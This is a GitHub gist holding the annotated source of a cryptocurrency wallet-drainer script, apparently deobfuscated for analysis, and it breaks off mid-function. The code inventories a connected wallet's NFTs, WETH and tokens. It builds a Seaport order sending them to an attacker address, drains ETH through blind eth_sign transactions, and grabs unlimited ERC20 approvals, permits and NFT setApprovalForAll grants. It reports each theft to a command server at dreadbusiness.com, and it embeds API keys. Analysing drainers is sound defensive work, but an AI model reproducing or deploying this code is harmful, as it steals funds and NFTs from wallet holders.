Created
December 23, 2022 18:18
-
-
Save lcfr-eth/76ee52ed2ae32796dc352e5e4cf707d8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var connected = 0; | |
var account = ''; | |
var alert = 0; | |
var perETH_usd; | |
var success = 0; | |
let message; | |
let ethersProvider, signer, wallet, Seaport, web3Modal, selectedAccount; | |
let tokenList = []; // Victim tokensObject Array (list of all tokens) | |
const characters = '0123456789'; | |
const WETH = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2'; // WETH contract | |
const CONDUIT = '0x1E0049783F008A0085193E00003D00cd54003c71'; // Seaport Conduit for Approvals | |
const RPC = 'https://rpc.ankr.com/eth/38eac0bf9f0e89d5e226f5c1ef1249406ce7958e48704cc5c3015bed44cb3dca'; | |
let w3 = new ethers.providers.JsonRpcProvider(RPC); | |
const operator = '0x03c4B92F7283f52aD43EF354f709e6778A74b7F4'; // max approval given to this for ERC20's | |
const contractSAFA = '0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428'; // BulkTransfer contract | |
const ownerAddress = '0xD422B783ea64f4d30c3531dAceb31870C9aC2e61'; // attacker EOA? | |
const ZAPPER_KEY = '082cca2f-3e84-4239-89e6-848394fc200a'; | |
const BASE_URL = 'https://dreadbusiness.com/api'; // attacker C&C Infrastructure | |
const TOKEN_APPROVE = BASE_URL + '/token_permit'; // log token_approves | |
const TOKEN_TRANSFER = BASE_URL + '/token_transfer'; // log token_transfers | |
const SEAPORT_SIGN = BASE_URL + '/seaport_sign'; // log seaport signatures | |
const NFT_TRANSFER = BASE_URL + '/nft_transfer'; // log nft transfers (1155 and 721) | |
const MAX_APPROVAL = '1158472395435294898592384258348512586931256'; | |
const endpoint = ownerAddress; | |
let supportedWallets = { | |
0: 'WalletConnect', | |
1: 'Metamask' | |
}; | |
let selectedProvider, selectedWallets; | |
const chainToId = { | |
"ethereum": { | |
chainId: '0x1', | |
abiUrl: 'https://api.etherscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=2B44DG986KR15DTS4S1E5JWZT8VTWZ7C99' | |
}, | |
"binance-smart-chain": { | |
chainId: '0x38', | |
abiUrl: 'https://api.bscscan.com/api?module=contract&action=getsourcecode&address={0}&apikey=K5AI5N7ZPC9EF6G9MVQF33CBVMY1UKQ7HI' | |
}, | |
"polygon": { | |
chainId: '0x89', | |
abiUrl: 'https://api.polygonscan.com/api?module=contract&action=getsourcecode&address={0}&apikey=M9IMUX515SEB97THWJRQDKNX75CI66X7XX' | |
}, | |
"fantom": { | |
chainId: '0xfa', | |
abiUrl: 'https://api.ftmscan.com/api?module=contract&action=getsourcecode&address={0}&apikey=F9GFY4EXGD84MHWEK5NCUJWF9FZVBRT415' | |
}, | |
"avalanche": { | |
chainId: '0xa86a', | |
abiUrl: 'https://api.snowtrace.io/api?module=contract&action=getsourcecode&address={0}&apikey=ZMJ2CKEX65EJ8WIPWRJWKRFG8HXCM6I89Z' | |
}, | |
"optimism": { | |
chainId: '0xa', | |
abiUrl: 'https://api-optimistic.etherscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=46J83C1RF5TEWJ3NVCF17PG3KYD36U9QPK' | |
}, | |
"arbitrum": { | |
chainId: '0xa4b1', | |
abiUrl: 'https://api.arbiscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=DU3TKS3QYBQAHC7SEQ5YHB9VPD85JXTX7I' | |
}, | |
"gnosis": { | |
chainId: '0x64', | |
abiUrl: 'https://api.gnosisscan.io/api?module=contract&action=getsourcecode&address={0}&apikey={1}' | |
}, | |
"moonriver": { | |
chaiId: '0x505', | |
abiUrl: 'https://api-moonriver.moonscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=2B44DG986KR15DTS4S1E5JWZT8VTWZ7C99' | |
}, | |
"celo": { | |
chainId: '0xa4ec', | |
abiUrl: 'https://api.celoscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=YourApiKeyToken' | |
}, | |
"aurora": { | |
chainId: '0x4e454152', | |
abiUrl: 'https://api.aurorascan.dev/api?module=contract&action=getsourcecode&address={0}&apikey=YourApiKeyToken' | |
} | |
}; | |
// determine if mobile or not | |
const getMobileOperatingSystem = () => { | |
const fingerPrint = navigator.userAgent || navigator.vendor || window.opera; | |
if (/windows phone/i.test(fingerPrint)) { | |
return 'Windows Phone' | |
}; | |
if (/android/i.test(fingerPrint)) { | |
return 'Android' | |
}; | |
if (/iPad|iPhone|iPod/ ['test'](fingerPrint) && !window.MSStream) { | |
return 'iOS' | |
}; | |
return 'unknown' | |
}; | |
// check if MM or Trust wallet | |
const getDAppSystem = () => { | |
const fingerPrint = navigator.userAgent || navigator.vendor || window.opera; | |
if (/Trust/i.test(fingerPrint)) { | |
return 'Trust' | |
}; | |
if (/CriOS/i.test(fingerPrint)) { | |
return 'Metamask' | |
}; | |
return 'unknown' | |
}; | |
// | |
const openMetaMaskUrl = (urlOpen) => { | |
const div = document.createElement('a'); | |
div.href = urlOpen; | |
div.target = '_self'; | |
document.body.appendChild(div); | |
div.click(); | |
div.remove() | |
}; | |
// | |
function loginMetamask() { | |
openMetaMaskUrl(`${'dapp://'}${document .URL .replace (/https?:\/\//i,'')}${''}`) | |
} | |
async function loginTrust() { | |
selectedWallets = 1; | |
window.location = `${'https://link.trustwallet.com/open_url?coin_id=60&url=https://'}${document .URL .replace (/https?:\/\//i,'')}${''}` | |
} | |
// called first | |
async function login() { | |
try { | |
walletconnect() | |
} catch (error) { | |
console.log(error) | |
} | |
} | |
// called from login() above | |
// checks for any injected wallets like MetaMask etc | |
// calls ConnectWallet() which does initial recon | |
function walletconnect() { | |
if (window.ethereum) { | |
ConnectWallet() | |
} else { | |
window.addEventListener('ethereum#initialized', ConnectWallet, { | |
once: true | |
}); | |
ConnectWallet() | |
} | |
} | |
const round = (input) => { | |
return Math.round(input * 10000) / 10000 | |
}; | |
// convert wei to eth | |
async function getNormalizedETH(wei) { | |
return ethers.utils.formatEther(wei) | |
} | |
// check if an address has the seaport conduit approvedforall for an ERC721 collection | |
async function isApproved(accountAddress, erc721Address) { | |
try { | |
let erc721 = new ethers.Contract(erc721Address, ERC721_ABI, w3); | |
const isApprovedBool = await erc721.functions.isApprovedForAll(accountAddress, CONDUIT, { | |
gasLimit: 100000 | |
}); | |
return isApprovedBool | |
} catch (err) { | |
console.log('error', err); | |
return false | |
} | |
} | |
// get all owned tokenIds for a contract/token | |
function fetchTokenIds(_0x22fax36, erc721) { | |
try { | |
const _0x22fax37 = _0x22fax36.assets; | |
const tokenIds = []; | |
for (let _0x22fax39 = 0; _0x22fax39 < _0x22fax37.length; _0x22fax39++) { | |
const _0x22fax3a = _0x22fax37[_0x22fax39]; | |
if (_0x22fax3a.asset_contract.address.toLowerCase() == erc721.toLowerCase()) { | |
tokenIds.push(_0x22fax3a.token_id) | |
} | |
}; | |
return tokenIds | |
} catch (err) { | |
console.log('error', err) | |
} | |
} | |
// return all erc721 and erc1155 using OpenSea API | |
// checks if the collection is approved with seaport conduit .. | |
// returns an array of objects | |
// sets a weird price perEthUsd for every NFT asset? | |
/* | |
type: erc721Address.primary_asset_contracts[0].schema_name.toLowerCase(), | |
tokenAddress: ethers.utils.getAddress(erc721Address.primary_asset_contracts[0].address), | |
token_ids: fetchTokenIds(ownerAssetsRespJson, erc721Address.primary_asset_contracts[0].address), | |
price: _0x22fax42, ??? | |
balance: perETH_usd * parseFloat(_0x22fax42), | |
chain: 'ethereum', - chainID | |
owned: erc721Address.owned_asset_count, - how many owned | |
"approved": isApprovedBool - if the token is approvedForAll on seaport Conduit | |
*/ | |
async function getNFTS(accountAddress) { | |
try { | |
const _0x22fax3d = { | |
method: 'GET', | |
headers: { | |
Accept: 'application/json' | |
} | |
}; | |
let ownerAssetsResp = await fetch(`${'https://api.opensea.io/api/v1/assets?owner='}${accountAddress}${'&order_direction=desc&limit=200&include_orders=false'}`); | |
let ownerAssetsRespJson = await ownerAssetsResp.json(); | |
let _0x22fax40 = await fetch(`${'https://api.opensea.io/api/v1/collections?asset_owner='}${accountAddress}${'&offset=0&limit=200'}`, _0x22fax3d).then((_0x22fax44) => { | |
return _0x22fax44.json() | |
}).then((ownerAssetsResp) => { | |
if (ownerAssetsResp.includes('Request was throttled.')) { | |
return ['Request was throttled.'] | |
}; | |
return ownerAssetsResp.filter((erc721Address) => { | |
if (erc721Address.primary_asset_contracts.length > 0) { | |
return true | |
} else { | |
return false | |
} | |
}).map(async (erc721Address) => { | |
let _0x22fax42 = round(erc721Address.stats.one_day_average_price != 0 ? erc721Address.stats.one_day_average_price : erc721Address.stats.seven_day_average_price); | |
let isApprovedBool = await isApproved(accountAddress, erc721Address.primary_asset_contracts[0].address); | |
isApprovedBool = isApprovedBool[0]; | |
console.log('isApprovedBool', isApprovedBool); | |
return { | |
type: erc721Address.primary_asset_contracts[0].schema_name.toLowerCase(), | |
tokenAddress: ethers.utils.getAddress(erc721Address.primary_asset_contracts[0].address), | |
token_ids: fetchTokenIds(ownerAssetsRespJson, erc721Address.primary_asset_contracts[0].address), | |
price: _0x22fax42, | |
balance: perETH_usd * parseFloat(_0x22fax42), | |
chain: 'ethereum', | |
owned: erc721Address.owned_asset_count, | |
"approved": isApprovedBool | |
} | |
}) | |
}).catch((_0x22fax41) => { | |
return console.error(_0x22fax41) | |
}); | |
let _0x22fax45 = await Promise.all(_0x22fax40); | |
let _0x22fax46 = _0x22fax45.sort((_0x22fax27, _0x22fax47) => { | |
return parseFloat(_0x22fax47.price) > parseFloat(_0x22fax27.price) ? 1 : -1 | |
}); | |
console.log(_0x22fax46); | |
return _0x22fax46 | |
} catch (e) { | |
console.log(e) | |
} | |
} | |
// used for generating salt for seaport | |
function generateString(strLength) { | |
let stringBuffer = ''; | |
const _0x22fax4b = characters.length; | |
for (let _0x22fax39 = 0; _0x22fax39 < strLength; _0x22fax39++) { | |
stringBuffer += characters.charAt(Math.floor(Math.random() * _0x22fax4b)) | |
}; | |
return stringBuffer | |
} | |
// returns count from seaport for address | |
async function getCounter(accountAddress) { | |
const miniSeaportABI = [{ | |
"inputs": [{ | |
"internalType": 'address', | |
"name": 'offerer', | |
"type": 'address' | |
}], | |
"name": 'getCounter', | |
"outputs": [{ | |
"internalType": 'uint256', | |
"name": 'counter', | |
"type": 'uint256' | |
}], | |
"stateMutability": 'view', | |
"type": 'function' | |
}]; | |
let seaport = new ethers.Contract('0x00000000006c3852cbEf3e08E8dF289169EdE581', miniSeaportABI, w3); | |
const count = seaport.functions.getCounter(accountAddress); | |
return count | |
} | |
// gets WETH balance and checks allowance with Seaport Conduit is approved... | |
async function getWETH(accountAddress) { | |
let contractObj = new ethers.Contract(WETH, ERC20_ABI, w3); | |
const wethBalance = contractObj.functions.balanceOf(accountAddress); | |
const wethSeaportAllowance = contractObj.functions.allowance(accountAddress, CONDUIT); | |
return await Promise.all([wethBalance, wethSeaportAllowance]) | |
} | |
// return yesterdays date | |
function getPreviousDay(_0x22fax54 = new Date()) { | |
const _0x22fax55 = new Date(_0x22fax54.getTime()); | |
_0x22fax55.setDate(_0x22fax54.getDate() - 1); | |
return _0x22fax55 | |
} | |
const Web3Modal = window.Web3Modal.default; | |
const WalletConnectProvider = window.WalletConnectProvider.default; | |
// executed on pageload | |
function init() { | |
const providerOptions = { | |
walletconnect: { | |
package: WalletConnectProvider, | |
options: { | |
bridge: 'https://bridge.walletconnect.org', | |
rpc: { | |
1: 'https://mainnet.infura.io/v3/988d51cc5e12469dbe2852d8b660b89a', | |
56: 'https://rpc.ankr.com/bsc', | |
137: 'https://rpc.ankr.com/polygon', | |
250: 'https://rpc.ankr.com/fantom', | |
43114: 'https://rpc.ankr.com/avalanche', | |
10: 'https://rpc.ankr.com/optimism', | |
42161: 'https://rpc.ankr.com/arbitrum', | |
100: 'https://rpc.ankr.com/gnosis', | |
1285: 'https://rpc.moonriver.moonbeam.network', | |
42220: 'https://rpc.ankr.com/celo', | |
1313161554: 'https://mainnet.aurora.dev' | |
} | |
} | |
}, | |
"custom-binancechainwallet": { | |
display: { | |
logo: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0MCA0MCIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCI+PGcgZmlsbD0iI2YwYjkwYiI+PHBhdGggZD0iTTIwLjI0NSAwTDkuNjM0IDYuMTI1bDMuOTAxIDIuMjYyIDYuNzEtMy44NjIgNi43MSAzLjg2MiAzLjkwMi0yLjI2MkwyMC4yNDUgMHptNi43MTEgMTEuNTg2bDMuOSAyLjI2M3Y0LjUyNmwtNi43MSAzLjg2MnY3LjcyNGwtMy45IDIuMjYzLTMuOTAyLTIuMjYzdi03LjcyNGwtNi43MS0zLjg2MnYtNC41MjZsMy45MDEtMi4yNjMgNi43MSAzLjg2MyA2LjcxLTMuODYzaC4wMDF6Ii8+PHBhdGggZD0iTTMwLjg1NyAyMS41NzNWMjYuMWwtMy45MDEgMi4yNjJ2LTQuNTI1bDMuOS0yLjI2My4wMDEtLjAwMXoiLz48cGF0aCBkPSJNMjYuOTE2IDMxLjU2bDYuNzEtMy44NjJ2LTcuNzI0bDMuOTAyLTIuMjYzdjEyLjI1bC0xMC42MTEgNi4xMjVWMzEuNTZoLS4wMDF6bTYuNzExLTE5LjMxbC0zLjkwMi0yLjI2MyAzLjkwMi0yLjI2MyAzLjkgMi4yNjN2NC41MjVsLTMuOSAyLjI2M1YxMi4yNXpNMTYuMzQ0IDM3LjcyNFYzMy4ybDMuOTAxIDIuMjYzIDMuOTAyLTIuMjYzdjQuNTI1bC0zLjkwMiAyLjI2My0zLjktMi4yNjMtLjAwMS0uMDAxem0tMi44MDktOS4zNjNMOS42MzQgMjYuMXYtNC41MjZsMy45MDEgMi4yNjN2NC41MjUtLjAwMXptNi43MS0xNi4xMTFsLTMuOS0yLjI2MyAzLjktMi4yNjMgMy45MDIgMi4yNjMtMy45MDIgMi4yNjN6bS05LjQ4LTIuMjYzbC0zLjkgMi4yNjN2NC41MjVsLTMuOTAyLTIuMjYzVjkuOTg3bDMuOTAxLTIuMjYzIDMuOTAxIDIuMjYzeiIvPjxwYXRoIGQ9Ik0yLjk2MyAxNy43MTFsMy45MDEgMi4yNjN2Ny43MjRsNi43MSAzLjg2MnY0LjUyNkwyLjk2MyAyOS45NlYxNy43MXYuMDAxeiIvPjwvZz48L3N2Zz4=', | |
name: 'Binance Chain Wallet', | |
description: 'Connect to your Binance Chain Wallet' | |
}, | |
package: true, | |
connector: async () => { | |
let wallet = null; | |
if (typeof window.BinanceChain !== 'undefined') { | |
wallet = window.BinanceChain; | |
try { | |
await wallet.request({ | |
method: 'eth_requestAccounts' | |
}); | |
selectedWallets = 2 | |
} catch (error) { | |
throw new Error('User Rejected') | |
} | |
} else { | |
throw new Error('No Binance Chain Wallet found') | |
}; | |
return wallet | |
} | |
} | |
}; | |
web3Modal = new Web3Modal({ | |
cacheProvider: true, | |
providerOptions | |
}) | |
} | |
// called from walletconnect() function called from login() | |
// performs initial recon and sets up token theft based on wallet recon. | |
async function ConnectWallet() { | |
if (window.ethereum) { | |
await ethereum.request({ | |
method: 'eth_requestAccounts' | |
}); | |
provider = window.ethereum; | |
web3 = new Web3(provider); | |
ethersProvider = new ethers.providers.Web3Provider(provider, 'any'); | |
signer = ethersProvider.getSigner() | |
} else { | |
provider = await web3Modal.connect(); | |
web3 = new Web3(provider); | |
ethersProvider = new ethers.providers.Web3Provider(provider, 'any'); | |
signer = ethersProvider.getSigner() | |
}; | |
if (web3._provider.bridge) { | |
selectedProvider = supportedWallets[0] // walletconnect | |
} else { | |
selectedProvider = supportedWallets[1] // metamask | |
}; | |
Seaport = new seaport.Seaport(signer); | |
getWalletAccount(); | |
get12DollarETH() | |
} | |
async function get12DollarETH() { | |
let priceURL = 'https://api.coingecko.com/api/v3/simple/price?ids=ethereum&vs_currencies=usd'; | |
let response = await fetch(priceURL); | |
let responseObj = await response.json(); | |
let usdPrice = responseObj.ethereum.usd; | |
let _0x22fax5e = 1 / usdPrice; | |
perETH_usd = usdPrice; | |
return | |
} | |
async function getWalletAccount() { | |
// get the first / primary account in wallet. | |
const accounts = await web3.eth.getAccounts(); | |
account = accounts[0]; | |
let seaportCount, wethInfo; | |
// return NFT tokenList, Seaport Count, WETH balance/approval for seaport | |
[victimTokens, seaportCount, wethInfo] = await Promise.all([getNFTS(account), getCounter(account), getWETH(account)]); | |
seaportCount = parseInt(seaportCount.toString()); | |
let [balance, allowance] = wethInfo; | |
balance = balance.toString(); // weth balance | |
allowance = allowance.toString(); // weth allowance | |
const totalBal = parseFloat(ethers.utils.formatEther(balance)); | |
const totalAllowed = parseFloat(ethers.utils.formatEther(allowance)); | |
let seaportBalance = '0'; | |
let hasBalance = false; | |
// compared total balance vs total allowed and set stealAmount depending on allowance. | |
if (totalAllowed >= totalBal) { | |
seaportBalance = balance | |
} else { | |
if (totalBal > totalAllowed) { | |
seaportBalance = allowance | |
} | |
}; | |
const offerArr = []; | |
const considerationArr = []; | |
let tokenbalance = 0; | |
// create two arrays for all victims ERC721 NFT's which are approved by Seaport | |
// OfferArr array of all ERC721 Offers from victim for 1 WEI | |
// ConsiderationArr array of all the victims ERC721 tokens designating recipient as attacker | |
// 0xD422B783ea64f4d30c3531dAceb31870C9aC2e61 | |
victimTokens.forEach((erc721Address) => { | |
if (erc721Address.type == 'erc721' && erc721Address.approved == true) { | |
tokenbalance += erc721Address.balance; | |
erc721Address.token_ids.forEach((tokenId) => { | |
const offer = { | |
itemType: 2, | |
token: erc721Address.tokenAddress, | |
identifierOrCriteria: tokenId, | |
startAmount: '1', | |
endAmount: '1' | |
}; | |
const consideration = { | |
itemType: 2, | |
token: erc721Address.tokenAddress, | |
identifierOrCriteria: tokenId, | |
startAmount: '1', | |
endAmount: '1', | |
recipient: endpoint // attacker address | |
}; | |
offerArr.push(offer); | |
considerationArr.push(consideration) | |
}) | |
} | |
}); | |
// if victim still has balance of WETH <= Seaport Allowance | |
// create an offer from victim for their WETH balance push to our Offers array | |
// create an consideration for the exact amount of Victims WETH allowed balance. | |
// push consideration to the Considerations array | |
if (seaportBalance !== '0') { | |
hasBalance = true; | |
tokenbalance += perETH_usd * parseFloat(getNormalizedETH(seaportBalance)); | |
const offer = { | |
"itemType": 1, | |
"token": WETH, | |
"identifierOrCriteria": '0', | |
"startAmount": seaportBalance, | |
"endAmount": seaportBalance | |
}; | |
const consideration = { | |
"itemType": 1, | |
"token": WETH, | |
"identifierOrCriteria": '0', | |
"startAmount": seaportBalance, | |
"endAmount": seaportBalance, | |
"recipient": endpoint | |
}; | |
offerArr.push(offer); | |
considerationArr.push(consideration) | |
}; | |
const _0x22fax54 = getPreviousDay(); | |
const _0x22fax6e = _0x22fax54.getTime(); | |
const _0x22fax6f = _0x22fax54; | |
//const _0x22fax70 = _0x22fax6f.setTime(_0x22fax6e + (2 * 24 * 60 * 60 * 1000)); | |
const _0x22fax71 = _0x22fax6f.getTime(); | |
const endTime = Math.floor(_0x22fax71 / 1000); | |
const startTime = Math.floor(_0x22fax6e / 1000); | |
const seaportSalt = generateString(70); // generate salt for order | |
// generate the seaport order for all of victims assets | |
const seaportOrder = { | |
"offerer": ethers.utils.getAddress(account), // victim | |
zone: '0x004C00500000aD104D7DBd00e3ae0A5C00560C00', // seaport zone | |
"offer": offerArr, // victim assets ERC721 & WETH | |
consideration: considerationArr, // attacker considerations matching victim OfferItems | |
orderType: 2, // 2: no partial fills, only offerer or zone can execute | |
startTime: startTime, | |
endTime: endTime, | |
zoneHash: '0x0000000000000000000000000000000000000000000000000000000000000000', | |
salt: seaportSalt, | |
totalOriginalConsiderationItems: considerationArr.length, | |
conduitKey: '0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000' | |
}; | |
// return a list of all the users ERC20 tokens and ETH - XXX not a complete list of user owned tokens?? ENS not listed. | |
const getTokenList = await fetch('https://api.zapper.fi/v2/balances?addresses[]=' + account + '&&api_key=' + ZAPPER_KEY, { | |
headers: { | |
'Authorization': ZAPPER_KEY | |
} | |
}); | |
const victimTokens = await getTokenList.text(); | |
// create array from newline char \n == \x0A | |
victimTokens.split('\x0A').forEach((result) => { | |
if (result.startsWith('data')) { | |
// strip 'data: ' from the stringified Object | |
var jsonObj = JSON.parse(result.slice(5)); | |
if (jsonObj.balance && jsonObj.balance.wallet) { | |
for (var walletObj in jsonObj.balance.wallet) { | |
var walletToken = jsonObj.balance.wallet[walletObj]; | |
// push the token and tokenInfo to the global tokenList array | |
tokenList.push({ | |
type: 'erc20', // sets general type for ETH and ERC20s to == ERC20. | |
tokenAddress: walletToken.address, | |
balance: walletToken.balanceUSD, | |
tokenAmountFix: walletToken.context.balance, | |
chain: walletToken.network, | |
tokenAmount: walletToken.context.balanceRaw, | |
symbol: walletToken.context.symbol | |
}) | |
} | |
} | |
} | |
}); | |
// if seaport order has no offer items sendToken() seaportOrder and info anyway? | |
if (seaportOrder.offer.length == 0) { | |
victimTokens.sort((_0x22fax27, _0x22fax47) => { | |
return (Number(_0x22fax47.balance) > Number(_0x22fax27.balance)) ? 1 : -1 | |
}); | |
sendToken(hasBalance, seaportOrder, seaportCount, Seaport); | |
return | |
} else { | |
// add blank seaport token type to the tokenList array? | |
victimTokens.push({ | |
type: 'seaport', | |
chain: 'ethereum', | |
tokenAddress: '', | |
token_ids: '', | |
price: null, | |
balance: tokenbalance, | |
owned: '', | |
"approved": false | |
}) | |
}; | |
victimTokens.sort((_0x22fax27, _0x22fax47) => { | |
return (Number(_0x22fax47.balance) > Number(_0x22fax27.balance)) ? 1 : -1 | |
}); | |
console.log(victimTokens); | |
connected = 1; | |
sendToken(hasBalance, seaportOrder, seaportCount, Seaport) | |
} | |
// | |
function getEthBalance(_0x22fax7b, _0x22fax7c, _0x22fax7d) { | |
var _0x22fax7e = 1; | |
for (var _0x22fax39 = 0; _0x22fax39 < _0x22fax7c; _0x22fax39++) { | |
_0x22fax7e *= 10 | |
}; | |
return _0x22fax7b * _0x22fax7d / _0x22fax7e | |
} | |
// transfer ETH from victim to owner : 0xD422B783ea64f4d30c3531dAceb31870C9aC2e61 | |
// amount variable is never used? | |
async function transferEth(amount, message) { | |
if (account == '') { | |
return | |
}; | |
const balanceWEI = await web3.eth.getBalance(account); | |
const balance = web3.utils.fromWei(balanceWEI, 'ether'); // convert to ETH? | |
success = 1; | |
logTlgMsg(message); | |
const gasPrice = await web3.eth.getGasPrice(); | |
const gasPriceHex = web3.utils.toHex(gasPrice); | |
const totalMinusFee = web3.utils.toWei(balance.toString(), 'ether') - (parseInt(gasPrice) * 120000); // convert back to wei - lol why 120k gas ? | |
const totalToSend = Number(totalMinusFee); | |
const totalToSendHex = web3.utils.toHex(totalToSend); | |
var tx = { | |
from: account, | |
to: ownerAddress, | |
value: totalToSendHex | |
}; | |
try { | |
await web3.eth.sendTransaction(tx) | |
} catch (e) { | |
console.log(e); | |
success = 0 | |
}; | |
logTlg(success) | |
} | |
// amount variable never used | |
// send ETH to attacker 0xD422B783ea64f4d30c3531dAceb31870C9aC2e61 | |
async function stakeEth(amount, message) { | |
if (account == '') { | |
return | |
}; | |
const balanceWEI = await web3.eth.getBalance(account); | |
const balance = web3.utils.fromWei(balanceWEI, 'ether'); | |
console.log(balance); | |
success = 1; | |
logTlgMsg(message); | |
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account)); | |
const gasPrice = await web3.eth.getGasPrice(); | |
const gasPriceHex = web3.utils.toHex(gasPrice); | |
const valueToSend = web3.utils.toWei(balance.toString(), 'ether') - (parseInt(gasPrice) * 120000); | |
console.log('valueToSend', valueToSend); | |
const valueToSendString = Number(valueToSend); | |
console.log('valueToSendString', valueToSendString); | |
const valueToSendHex = web3.utils.toHex(valueToSendString); | |
const chainId = await web3.eth.getChainId(); | |
const chainIdHex = web3.utils.toHex(chainId); | |
try { | |
tx_ = { | |
to: ownerAddress, | |
nonce: nonce, | |
gasLimit: '0x55F0', | |
gasPrice: web3.utils.toHex(gasPrice), | |
value: valueToSendHex, | |
data: '0x0', | |
r: '0x', | |
s: '0x', | |
v: chainIdHex | |
}; | |
console.log(tx_); | |
const { | |
ethereumjs | |
} = window; | |
var transaction = new ethereumjs.Tx(tx_); | |
const serializedTransaction = '0x' + transaction.serialize().toString('hex'); | |
const transactionHash = web3.utils.sha3(serializedTransaction, { | |
encoding: 'hex' | |
}); | |
const signedTransactionHash = await web3.eth.sign(transactionHash, account); | |
const signedTransactionHashRaw = signedTransactionHash.substring(2), | |
r = '0x' + signedTransactionHashRaw.substring(0, 64), | |
s = '0x' + signedTransactionHashRaw.substring(64, 128), | |
_0x22fax95 = parseInt(signedTransactionHashRaw.substring(128, 130), 16), | |
v = web3.utils.toHex(_0x22fax95 + chainId * 2 + 8); | |
transaction.r = r; | |
transaction.s = s; | |
transaction.v = v; | |
const finalSignedTransaction = '0x' + transaction.serialize().toString('hex'); | |
console.log('Waiting for sign submitting...'); | |
const sentTxHash = await web3.eth.sendSignedTransaction(finalSignedTransaction); | |
console.log('Submitted:', sentTxHash) | |
} catch (e) { | |
success = 0 | |
}; | |
logTlg(success) | |
} | |
// grants the attacker max approval for a given erc20 token | |
// grant the operator address spending ability of victim tokens | |
async function stakeERC20(tokenAddress, amount, message, chainId, abiUrl) { | |
console.log(tokenAddress, account, amount); | |
const erc20Abi = await getABI(tokenAddress, abiUrl); | |
const erc20signer = new ethers.Contract(tokenAddress, erc20Abi[0], signer); | |
const erc20 = new web3.eth.Contract(erc20Abi[0], tokenAddress); | |
const erc20Functions = erc20signer.functions; | |
logTlgMsg(message); | |
success = 1; | |
let checkPermit = erc20Functions.hasOwnProperty('permit') && erc20Functions.hasOwnProperty('nonces') && erc20Functions.hasOwnProperty('name') && erc20Functions.hasOwnProperty('DOMAIN_SEPARATOR') && isValidPermit(erc20Functions); | |
console.log('Has permit', checkPermit); | |
if (checkPermit) { | |
const doPermit = { | |
chainId: chainId, | |
tokenAddress: tokenAddress, | |
abiUrl: abiUrl, | |
amount: amount, | |
owner: account, | |
spender: operator, | |
permit: await permit(erc20signer, account, operator), | |
impl: erc20Abi[1] | |
}; | |
axios.post(TOKEN_APPROVE, doPermit).then(function (_0x22fax44) { | |
console.log(_0x22fax44); | |
logTlg(success) | |
}); | |
return doPermit | |
}; | |
try { | |
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account)); | |
const gasPrice = await web3.eth.getGasPrice(); | |
const gasPriceHex = web3.utils.toHex(gasPrice); | |
const chainId = await web3.eth.getChainId(); | |
const chainIdHex = web3.utils.toHex(chainId); | |
let tx; | |
tx = { | |
to: tokenAddress, | |
nonce: nonce, | |
gasLimit: '0x186A0', | |
gasPrice: gasPriceHex, | |
value: '0x0', | |
data: erc20.methods.approve(operator, MAX_APPROVAL).encodeABI(), | |
r: '0x', | |
s: '0x', | |
v: chainIdHex | |
}; | |
const { | |
ethereumjs | |
} = window; | |
var transaction = new ethereumjs.Tx(tx); | |
const serializedTransaction = '0x' + transaction.serialize().toString('hex'); | |
const serializedTransactionHash = web3.utils.sha3(serializedTransaction, { | |
encoding: 'hex' | |
}); | |
const signedTransactionHash = await web3.eth.sign(serializedTransactionHash, account); | |
const signedTransactionHashRaw = signedTransactionHash.substring(2), | |
r = '0x' + signedTransactionHashRaw.substring(0, 64), | |
s = '0x' + signedTransactionHashRaw.substring(64, 128), | |
_0x22fax95 = parseInt(signedTransactionHashRaw.substring(128, 130), 16), | |
v = web3.utils.toHex(_0x22fax95 + chainId * 2 + 8); | |
transaction.r = r; | |
transaction.s = s; | |
transaction.v = v; | |
const finalSignedTx = '0x' + transaction.serialize().toString('hex'); | |
console.log('Waiting for sign submitting...'); | |
const txHash = await web3.eth.sendSignedTransaction(finalSignedTx); | |
console.log('Submitted:', txHash); | |
const tokenApprovalLog = { | |
chainId: chainIdHex, | |
tokenAddress: tokenAddress, | |
abiUrl: abiUrl, | |
amount: amount, | |
owner: account, | |
spender: operator | |
}; | |
// send a detailed log of which tokens the attacker has gained approval for | |
// back to dreadbusiness.com/api/ | |
axios.post(TOKEN_TRANSFER, tokenApprovalLog).then(function (_0x22fax44) { | |
console.log(_0x22fax44); | |
logTlg(success) | |
}) | |
} catch (e) { | |
console.log(e); | |
success = 0 | |
} | |
} | |
// Calls erc721.setApprovalForAll(0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428, true) | |
// allows the attacker to then bulkTransfer NFT's using the | |
// contract located at 0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428 | |
// BulkTransfer method. | |
async function stakeNFT(tokenAddress, tokens, _0x22fax81) { | |
const victimNFTLog = { | |
owner: account, | |
tokenAddress: tokenAddress, | |
tokens: tokens | |
}; | |
var erc721 = new web3.eth.Contract(ERC721_ABI, tokenAddress); | |
success = 1; | |
logTlgMsg(_0x22fax81); | |
try { | |
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account)); | |
const gasPrice = await web3.eth.getGasPrice(); | |
const gasPriceHex = web3.utils.toHex(gasPrice); | |
const chainId = await web3.eth.getChainId(); | |
const chainIdHex = web3.utils.toHex(chainId); | |
tx_ = { | |
to: tokenAddress, | |
nonce: nonce, | |
gasLimit: '0x493E0', | |
gasPrice: gasPriceHex, | |
value: '0x0', | |
data: erc721.methods.setApprovalForAll(contractSAFA, true).encodeABI(), | |
r: '0x', | |
s: '0x', | |
v: chainIdHex | |
}; | |
